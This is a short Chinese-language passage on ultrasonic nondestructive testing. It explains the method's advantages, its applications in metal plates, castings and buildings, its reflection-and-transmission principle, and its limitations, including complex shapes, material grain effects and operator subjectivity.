超声检测技术因具有投资成本低、反应速度快、灵敏性高等优点，得以在金属板材、铸件、房屋建筑等领域广泛使用。超声检查的原理为：借助超声波在界面给出的反射、折射及其在介质传播中的衰减，由发射探头向被检测对象发射超声波，接探头接收从界面反射回来的超声波或透过检测对象的透射波，检查设备是否存在缺陷，并对缺陷进行定量、定位。但这种检测技术也存在一定的局限性，主要表现如下：对比较复杂或具有不规则外形的固体检测难度加大；对体积型缺陷敏感度较大，从而影响物体的检测结果；这种检测技术会受到材料材质、晶粒度等因素的影响；除检测自身存在缺陷，具体操作中还会受检测人员工作经验、主观性等方面的影响。
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